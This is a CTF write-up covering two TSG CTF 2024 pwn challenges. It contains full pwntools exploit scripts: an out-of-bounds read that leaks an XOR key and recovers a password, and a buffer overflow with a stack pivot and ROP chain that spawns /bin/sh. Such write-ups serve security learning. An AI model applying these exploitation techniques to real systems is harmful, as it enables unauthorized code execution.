I participated [TSG CTF 2024](https://ctftime.org/event/2424) as a member of SUSH1st. I solved following problems: - Password-Ate-Quiz - piercing_misty_mountain # Password-Ate-Quiz There is an out-of-range reference so that we can leak the encrypted password and our input. ```c while (1) { int idx; printf("Enter a hint number (0~2) > "); if (scanf("%d", &idx) == 1 && idx >= 0) { for (int i = 0; i < 8; i++) { putchar(hints[idx][i]); } puts(""); } else { break; } } ``` ```c void crypting(long long *secret, size_t len, long long key) { for (int i = 0; i < (len - 1) / 8 + 1; i++) { secret[i] = secret[i] ^ key; } } ``` Our input is encrypted with above function in which just XOR is used so, we can leak the key by using following calculation: ```c key = input[0:8] ^ encrypted_input[0:8] ``` By using the leaked key, we can decrypt the password. ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./chall") pwn.context.binary = pwn.ELF(exe.filepath) def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return pwn.remote("34.146.186.1", 41778) else: return pwn.process(exe.filepath) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): io = connect() io.sendlineafter(b"> ", b"A" * 0x10) io.sendlineafter(b"> ", str(8).encode()) key = ptr.u64(io.recvuntil(b"\nEnter", drop=True)) ^ 0x4141414141414141 ptr.logger.info(f"key: {hex(key)}") password = b"" for i in range(0x20 // 8): io.sendlineafter(b"> ", str(i + 4).encode()) l = io.recvuntil(b"\nEnter", drop=True) assert len(l) == 8 lu = ptr.u64(l) password += ptr.p64(lu ^ key) continue password = password.split(b"\0")[0] ptr.logger.info(f"password: {password}") io.sendlineafter(b"> ", b"a") io.sendlineafter(b"> ", password) io.interactive() return if __name__ == "__main__": main() ``` # piercing_misty_mountain ```bash piercing_misty_mountain: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e12cc43525ce486435ec085011d7731a2da229c0, for GNU/Linux 3.2.0, not stripped ``` ```bash [*] '/root/workspace/piercing_misty_mountain' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No ``` There is a BOF in `profile` function. ```c int profile() { char job[0x8] = "Job:"; char age[0x8]; printf("Job > "); read_n(job + 4, 0x18 - 4); printf("Age > "); read_n(age, 0x8); return atoi(age); } ``` By using above BOF, we can overwrite the saved RIP but not write a ROP chain. So, we have to write the ROP chain in advance. By doing stack pivot and returning to `main` we can write the ROP chain to arbitrary area. ```c 0x4c8000 : 0x4343434343434343 0x4343434343434343 0x4c8010 : 0x000000000040217f 0x00000000004c8100 0x4c8020 : 0x000000000040a1ee 0x0000000000000000 0x4c8030 : 0x000000000044afa2 0x0000000000000000 0x4c8040 : 0x0000000000450847 0x000000000000003b 0x4c8050 : 0x000000000041b326 0x0000000000000000 0x4c8060 : 0x0000000000000000 0x0000000000000000 0x4c8070 : 0x0000000000000000 0x0000000000000000 0x4c8080 : 0x0000000000000000 0x0000000000000000 0x4c8090 : 0x0000000000000000 0x0000000000000000 ``` After writing the ROP chain, we can use the BOF again to do stack pivot and return to `profile`, then rewrite RIP so that it connects to the ROP chain we just wrote, and we can get a shell. ```c 0x4c8000 : 0x4141414141414141 0x000000000040101a 0x4c8010 : 0x000000000040217f 0x00000000004c8100 0x4c8020 : 0x000000000040a1ee 0x0000000000000000 0x4c8030 : 0x000000000044afa2 0x0000000000000000 0x4c8040 : 0x0000000000450847 0x000000000000003b 0x4c8050 : 0x000000000041b326 0x0000000000000000 0x4c8060 : 0x0000000000000000 0x0000000000000000 0x4c8070 : 0x0000000000000000 0x0000000000000000 0x4c8080 : 0x0000000000000000 0x0000000000000000 0x4c8090 : 0x0000000000000000 0x0000000000000000 ``` ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./piercing_misty_mountain") pwn.context.binary = pwn.ELF(exe.filepath) def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return pwn.remote("34.146.186.1", 41777) else: return pwn.process(exe.filepath) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): io = connect() def sla(delim: bytes, data: bytes): io.sendlineafter(delim, data) return def sa(delim: bytes, data: bytes): io.sendafter(delim, data) return def ru(delim, drop=False) -> bytes: return io.recvuntil(delim, drop=drop) def rl() -> bytes: return io.recvline() free_space = 0x4C8000 ptr.logger.info(f"free_space: {hex(free_space)}") profile = unwrap(exe.symbol("profile")) main = unwrap(exe.symbol("main")) sla(b"> ", b"5unset") sla(b"> ", b"3") payload = b"" payload += b"A" * 4 payload += ptr.p64(free_space + 0x1000) payload += ptr.p64(main + 15) sa(b"> ", payload) sa(b"> ", b"B" * 8) payload = b"" payload += b"C" * 0x10 payload += ptr.p64(next(exe.gadget("pop rdi; ret;"))) payload += ptr.p64(free_space + 0x100) payload += ptr.p64(next(exe.gadget("pop rsi; ret;"))) payload += ptr.p64(0) payload += ptr.p64(next(exe.gadget("pop rdx; ret;"))) payload += ptr.p64(0) payload += ptr.p64(next(exe.gadget("pop rax; ret;"))) payload += ptr.p64(59) payload += ptr.p64(next(exe.gadget("syscall; ret;"))) payload = payload.ljust(0x100, b"\0") payload += b"/bin/sh\0" sla(b"> ", payload) sla(b"> ", b"3") payload = b"" payload += b"A" * 4 payload += ptr.p64(free_space) payload += ptr.p64(profile + 12) sa(b"> ", payload) sa(b"> ", b"B" * 8) payload = b"" payload += b"A" * 12 payload += ptr.p64(next(exe.gadget("ret;"))) sa(b"> ", payload) sa(b"> ", b"B" * 8) io.interactive() return if __name__ == "__main__": main() ```